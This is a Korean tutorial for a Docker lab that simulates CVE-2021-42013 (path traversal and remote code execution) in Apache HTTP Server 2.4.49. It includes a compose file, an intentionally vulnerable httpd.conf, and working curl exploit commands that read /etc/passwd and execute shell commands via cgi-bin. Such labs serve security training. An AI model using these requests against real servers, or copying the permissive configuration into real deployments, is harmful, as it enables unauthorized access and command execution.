
Apache HTTP Server (2.4.49)에서 CVE-2021-42013 취약점(Path Traversal & RCE)을 시뮬레이션하는 Docker 기반 침투 테스트 연구소
Apache HTTP Server (2.4.49)에서 CVE-2021-42013 취약점(Path Traversal & RCE)을 시뮬레이션하는 Docker 기반 침투 테스트 연구실입니다.
이 프로젝트는 Apache HTTP Server (2.4.49)에 존재하는 CVE-2021-42013 취약점을 격리된 환경에서 시뮬레이션하고 악용(exploit)하기 위해 준비되었습니다. 작업에서는 docker-exploit-lab이라는 특수 연구실 환경이 구축되었으며, 공격 시나리오는 동일 네트워크의 피해자(victim) 및 공격자(attacker) 시스템을 통해 수행되었습니다.
연구실에는 두 가지 기본 구성 파일이 있습니다: Victim/Attacker 시스템을 정의하는 Docker Compose 파일과 Apache 서버를 취약하게 만드는 구성 파일입니다.
docker-compose.yml이 파일은 172.20.0.0/16 서브넷에 격리된 환경을 생성합니다. 공격자 시스템이 시작될 때 공격에 필요한 curl 도구를 자동으로 설치합니다.
services:
victim:
image: httpd:2.4.49
container_name: victim-box
volumes:
- ./my-httpd.conf:/usr/local/apache2/conf/httpd.conf
networks:
lab_net:
ipv4_address: 172.20.0.2
attacker:
command: sh -c "apt update && apt install curl -y && tail -f /dev/null"
image: kalilinux/kali-rolling
container_name: attacker-box
tty: true
networks:
lab_net:
ipv4_address: 172.20.0.3
networks:
lab_net:
driver: bridge
ipam:
config:
- subnet: 172.20.0.0/16
my-httpd.conf취약점을 트리거하기 위해 루트 디렉터리() 및 CGI 디렉터리에 Require all granted 권한을 부여하여 서버를 의도적으로 취약하게 만들었습니다. (중요 참고: 오류를 방지하려면 이 파일이 BOM(Byte Order Mark) 문자가 없는 일반 UTF-8 형식으로 저장되어 있는지 확인하십시오.)
Apache ServerRoot "/usr/local/apache2" Listen 80 LoadModule mpm_event_module modules/mod_mpm_event.so LoadModule authn_core_module modules/mod_authn_core.so LoadModule authz_core_module modules/mod_authz_core.so LoadModule unixd_module modules/mod_unixd.so LoadModule alias_module modules/mod_alias.so LoadModule cgid_module modules/mod_cgid.so User daemon Group daemon DocumentRoot "/usr/local/apache2/htdocs" AllowOverride none Require all granted ScriptAlias /cgi-bin/ "/usr/local/apache2/cgi-bin/" <Directory "/usr/local/apache2/cgi-bin/"> AllowOverride None Options +ExecCGI Require all granted
시스템을 시작하려면 작업 디렉터리에서 터미널에 다음 명령을 실행합니다:
docker compose up -d
시스템이 가동된 후, 공격 명령을 실행할 Kali Linux 시스템에 접속합니다:
Bash
docker exec -it attacker-box /bin/bash
Kali 시스템 내에서 대상 시스템의 고정 IP 주소(172.20.0.2)로 URL 인코딩된 문자(.%%32%65)를 전송하여 디렉터리 우회 취약점을 트리거하고 /etc/passwd 파일을 읽습니다: Bash curl -v --path-as-is http://172.20.0.2/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
Apache 구성에서 CGI 디렉터리를 승인했으므로, 동일한 디렉터리 우회 로직을 /cgi-bin/을 통해 사용하여 서버에서 직접 셸 명령을 실행할 수 있습니다. id 명령을 실행하려면: Bash curl -v --path-as-is -d "echo; id" "http://172.20.0.2/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" 성공적인 출력: uid=1(daemon) gid=1(daemon) groups=1(daemon)
이 연구는 업데이트되지 않은 웹 서버에서 외부에서는 무해해 보이는 Path Traversal 취약점이, 잘못 구성된 CGI 모듈 권한과 결합될 때 어떻게 완전한 권한의 원격 코드 실행(RCE)으로 이어지는지 실습을 통해 보여줍니다.